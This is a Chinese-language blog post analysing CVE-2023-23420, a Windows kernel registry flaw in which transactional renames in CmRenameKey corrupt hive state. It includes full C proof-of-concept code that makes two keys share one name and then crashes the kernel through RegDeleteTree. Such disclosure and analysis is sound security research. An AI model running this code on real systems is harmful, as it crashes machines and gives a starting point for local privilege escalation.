cn6u9 Penetration test engineer

CVE-2023-23420

2023-04-27
cn6u9

  • cve-2023-23420

Windows 中就地重命名注册表项的操作在 NtRenameKey 系统调用中实现,大部分核心逻辑在内部 CmRenameKey 函数(由 NtRenameKey 调用)中找到。为了保持 hive 数据库的状态一致,内核防止键名冲突很重要,如果已经存在另一个具有该名称的键,则永远不要接受重命名键的新名称。这是通过调用 CmpFindSubKeyByNameWithStatus 并在新名称已存在时返回 STATUS_CANNOT_DELETE 来实现的。这足以防止与配置单元中持久存在的子键发生冲突。

然而,还有一类键在 Hive 结构中还没有全局可见的键节点,但具有相应的 KCB 并且实际上存在于事务范围内:尚未提交的事务创建/重命名键. 在这个阶段,它们无法通过 CmpFindSubKeyByNameWithStatus 找到,但是 NtRenameKey/CmRenameKey 应该考虑到它们。它们目前在事务重命名案例中没有得到正确处理,这可能导致配置单元状态不一致、内存损坏和本地攻击者潜在的特权提升。

CmRenameKey 中的具体逻辑对我们来说似乎有些不直观,我们无法基于逆向工程来完全解释它。该函数知道一个密钥的 KCB 可能已经存在的事实,因为它试图通过调用 CmpFindKcbInHashEntryByName 来找到它。仅当未找到 KCB 时,才会使用 CmpCreateKeyControlBlock 分配一个新的。尽管如此,即使为新密钥名称找到了现有的 KCB,也不会进行任何进一步的检查以验证事务处理分支中 KCB 的状态(密钥是否处于活动状态?它是否处于删除/卸载状态等) .?). 相反,CmRenameKey 似乎假定 KCB 处于新鲜/未使用状态并完全拥有它,忽略对象的任何现有状态和依赖项。这表现在几个方面:

1) 例程无条件地覆盖 KCB 的部分内容,特别是 KCB.KeyCell 和 KCB.TransKCBOwner 字段(可能已经设置为不同的值)。 2) 例程在 KCB 上调用 CmpLockIXLockExclusive 两次而不检查返回值,就好像该函数永远不会失败(如果 KCB 的锁已经被另一个事务占用,它就会失败)。 3) 如果稍后在 CmRenameKey 期间遇到任何错误,则通过调用 CmpMarkKeyUnbacked/CmpDereferenceKeyControlBlockWithLock 销毁 KCB,并且不会尝试保留其现有状态。

我们发现以上是一个强有力的指标,表明该函数假设在 KCB 的新副本上运行,即使它在 CmpFindKcbInHashEntryByName 返回时可能已完全初始化并起作用。

原则上,触发漏洞需要三个步骤:

1) 通过创建(例如 RegCreateKeyEx)或重命名(例如 RegRenameKey)操作以事务方式创建测试密钥,但不要提交它。 2) 事务性地将另一个键重命名为步骤 1 中键的名称。 3) 提交步骤 1/2 中的事务。

从理论上讲,这应该会导致创建两个具有相同名称的子项,这通常是不可能的,但需要一些工作才能转换为内存损坏原语。

在实践中,由于 CmpAddSubKeyToList/CmpAddToLeaf 函数之间面临重复键名的混淆,我们立即得到数据库的不一致状态:_CM_KEY_NODE.SubKeyCounts[1] 等于 0x2,但 _CM_KEY_NODE.SubKeyLists[ 指向的键索引1] 只有一个条目。 附件是一个概念验证漏洞,它执行以下步骤:

  1. 创建 HKCU\Test\AAAA 和 HKCU\Test\BBBB 。
  2. 将两个子项事务性地重命名为 HKCU\Test\CCCC。
  3. 提交事务。
  4. 尝试通过 RegDeleteTree 递归删除整个 HKCU\Test 树。

第 2-3 步触发错误,第 4 步触发内核崩溃。发生的情况是,一旦 HCKU\Test\CCCC 第一次被删除,子键索引变为空,因此 _CM_KEY_NODE.SubKeyLists[1] 单元格索引重置为 -1 (0xFFFFFFFF)。但是 _CM_KEY_NODE.SubKeyCounts[1] 仅从 0x2 递减到 0x1,因此当 RegDeleteTree API 尝试再次枚举子键以查找下一个要删除的键时,内核尝试将无效的 -1 索引转换为虚拟地址,并生成未处理的异常。

poc:

#include <Windows.h>
#include <ktmw32.h>
#include <sddl.h>

#include <cstdio>

#pragma comment(lib, "ktmw32")

int main(int argc, char** argv) {
  LSTATUS st;

  //
  // Create two test keys under HKCU\Test.
  //

  HKEY hTestKeyA, hTestKeyB;
  st = RegCreateKeyExA(HKEY_CURRENT_USER,
                       "Test\\AAAA",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hTestKeyA,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExA #1 failed with error %d\n", st);
    return 1;
  }

  RegCloseKey(hTestKeyA);

  st = RegCreateKeyExA(HKEY_CURRENT_USER,
                       "Test\\BBBB",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hTestKeyB,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExA #2 failed with error %d\n", st);
    return 1;
  }

  RegCloseKey(hTestKeyB);

  //
  // Create a transaction.
  //

  HANDLE hTrans = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
  if (hTrans == INVALID_HANDLE_VALUE) {
    printf("CreateTransaction failed with error %u\n", GetLastError());
    return 1;
  }

  //
  // Open the test keys and rename both of them transactionally to the same new
  // name.
  //

  st = RegOpenKeyTransactedA(HKEY_CURRENT_USER,
                             "Test\\AAAA",
                             0,
                             KEY_ALL_ACCESS,
                             &hTestKeyA,
                             hTrans,
                             NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyTransactedA #1 failed with error %d\n", st);
    return 1;
  }

  st = RegOpenKeyTransactedA(HKEY_CURRENT_USER,
                             "Test\\BBBB",
                             0,
                             KEY_ALL_ACCESS,
                             &hTestKeyB,
                             hTrans,
                             NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyTransactedA #2 failed with error %d\n", st);
    return 1;
  }

  st = RegRenameKey(hTestKeyA, NULL, L"CCCC");

  if (st != ERROR_SUCCESS) {
    printf("RegRenameKey #1 failed with error %d\n", st);
    return 1;
  }

  st = RegRenameKey(hTestKeyB, NULL, L"CCCC");

  if (st != ERROR_SUCCESS) {
    printf("RegRenameKey #2 failed with error %d\n", st);
    return 1;
  }

  //
  // Commit the transaction.
  //

  if (!CommitTransaction(hTrans)) {
    printf("CommitTransaction failed with error %u\n", GetLastError());
    return 1;
  }

  //
  // Try to recursively delete the test key tree, triggering a crash.
  //

  RegDeleteTree(HKEY_CURRENT_USER, L"Test");

  return 0;
}

小结


Similar Posts

Comments